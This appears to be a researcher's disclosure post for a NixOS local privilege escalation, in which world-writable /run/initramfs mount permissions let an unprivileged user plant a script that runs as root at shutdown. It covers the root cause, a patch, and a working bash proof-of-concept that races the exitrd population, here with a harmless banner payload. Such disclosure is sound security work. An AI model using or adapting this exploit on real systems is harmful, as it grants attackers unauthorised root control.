LPE via incorrect exitrd mount permissions

2 minute read Published: 2025-04-13

Upstream advisory: GHSA-m7pq-h9p4-8rr4
See also: my main blog post

Impact

An unprivileged process with filesystem access can become root during system shutdown (including reboot, hibernate, kexec, etc).

Exploitation is straightforward and semi-reliable (it does rely on a race condition, but I have been able to reliably exploit it in a multi-core QEMU VM).

Upon successful exploitation, an attacker has full access over the local system.

Scope

All standard NixOS configurations with systemd.shutdownRamfs.enable = true (since the bug was introduced in 2022-08-03, a454a706b584fa5c6583ecd8071b662caaedd9ca).

If systemd.shutdownRamfs.enable is false, this vulnerability is fully mitigated.

Root Cause

The systemd.shutdownRamfs NixOS module incorrectly configures run-initramfs.mount, which mounts a tmpfs at /run/initramfs using the default 1777 permissions.

This enables an attacker to create an executable under /run/initramfs/etc/systemd/system-shutdown/, which will be executed by systemd-shutdown during the shutdown procedure.

Vulnerability Details

During system shutdown, generate-shutdown-ramfs.service is started to populate /run/initramfs with the contents of the "exitrd".

generate-shutdown-ramfs.service triggers run-initramfs.mount, which is incorrectly configured by the systemd.shutdownRamfs module to use the default mode=1777 mount option.

This creates a "time-of-mount to time-of-population" race, where an attacker can create the /run/initramfs/etc directory before make-initrd-ng does.

If successful, make-initrd-ng will ignore the already-existing directory (with an incorrect owner) and continue populating the exitrd.

The attacker can then install a malicious executable in the /run/initramfs/etc/systemd/system-shutdown/ directory, which will be executed by systemd-shutdown during the shutdown procedure (after transitioning to the exitrd).

As with the previous vulnerability, the attacker will have full root capabilities on the local system.

Patch

I have drafted the following patch which should fix this vulnerability:

From 4f96c3f31a2214bb439e0a2fbd3cd39b3b81a844 Mon Sep 17 00:00:00 2001
From: sudoBash418 <sudoBash418@gmail.com>
Date: Mon, 31 Mar 2025 21:11:49 -0600
Subject: nixos/systemd-shutdown: Fix mount permissions

The default tmpfs mount permissions are overly-permissive (mode=1777).
Only root needs to modify the contents of the exitrd.

diff --git a/nixos/modules/system/boot/systemd/shutdown.nix b/nixos/modules/system/boot/systemd/shutdown.nix
index 1e8b8c6f863c..a839566af35c 100644
--- a/nixos/modules/system/boot/systemd/shutdown.nix
+++ b/nixos/modules/system/boot/systemd/shutdown.nix
@@ -52,6 +52,7 @@ in
         what = "tmpfs";
         where = "/run/initramfs";
         type = "tmpfs";
+        options = "mode=0755";
       }
     ];
 
-- 
2.49.0

Proof-of-concept Exploit

I have written a simple proof-of-concept exploit to demonstrate the vulnerability.

  1. First, login to a NixOS machine as an unprivileged user, and save the script below as poc.sh
  2. Run bash poc.sh & disown to start the script as a detached process and (optionally) logout
  3. Reboot or poweroff the machine as normal
  4. The shutdown sequence should end with a message on the virtual terminal, demonstrating that the payload execution was successful (tested in QEMU)
#!/usr/bin/env bash

# usage: run this script via `bash poc.sh & disown` as any unprivileged user

# ignore signals to prevent systemd from killing us
trap -- '' SIGQUIT SIGHUP SIGINT SIGTERM SIGUSR1 SIGUSR2 SIGPIPE

# read the JSON that make-initrd-ng uses
contents_json="$(<$(grep -oE '(/nix/store/[^ ]+shutdown-ramfs-contents\.json)' /etc/systemd/system/generate-shutdown-ramfs.service))"

# extract nix store paths
bash_path="$(echo "$contents_json" | grep -o '/nix/store/[^"]*bash')"
coreutils_path="$(echo "$contents_json" | grep -o '/nix/store/[^"]*coreutils-[^"]*/bin')"

# wait for run-initramfs.mount to create the directory
while [[ ! -d /run/initramfs ]]; do
	: # busy-wait to maximize our chances
done

# race time: try to beat make-initrd-ng to creating the etc directory
for i in {0..100}; do
	mkdir /run/initramfs/etc >/dev/null
done

# write our malicious payload into the exitrd
install -Dm755 /dev/stdin /run/initramfs/etc/systemd/system-shutdown/exploit.sh <<EOF
#!${bash_path}

# we are now running as UID 0

export PATH="\$PATH:${coreutils_path}"

# uncomment to redirect stdout to serial console
#exec >/dev/ttyS0

# show our banner
echo "!!! systemd-shutdown exploit successful: PID=\$\$ \$(id) !!!"

# stall shutdown for visibility
echo "sleeping for 15 seconds..."
sleep 15
EOF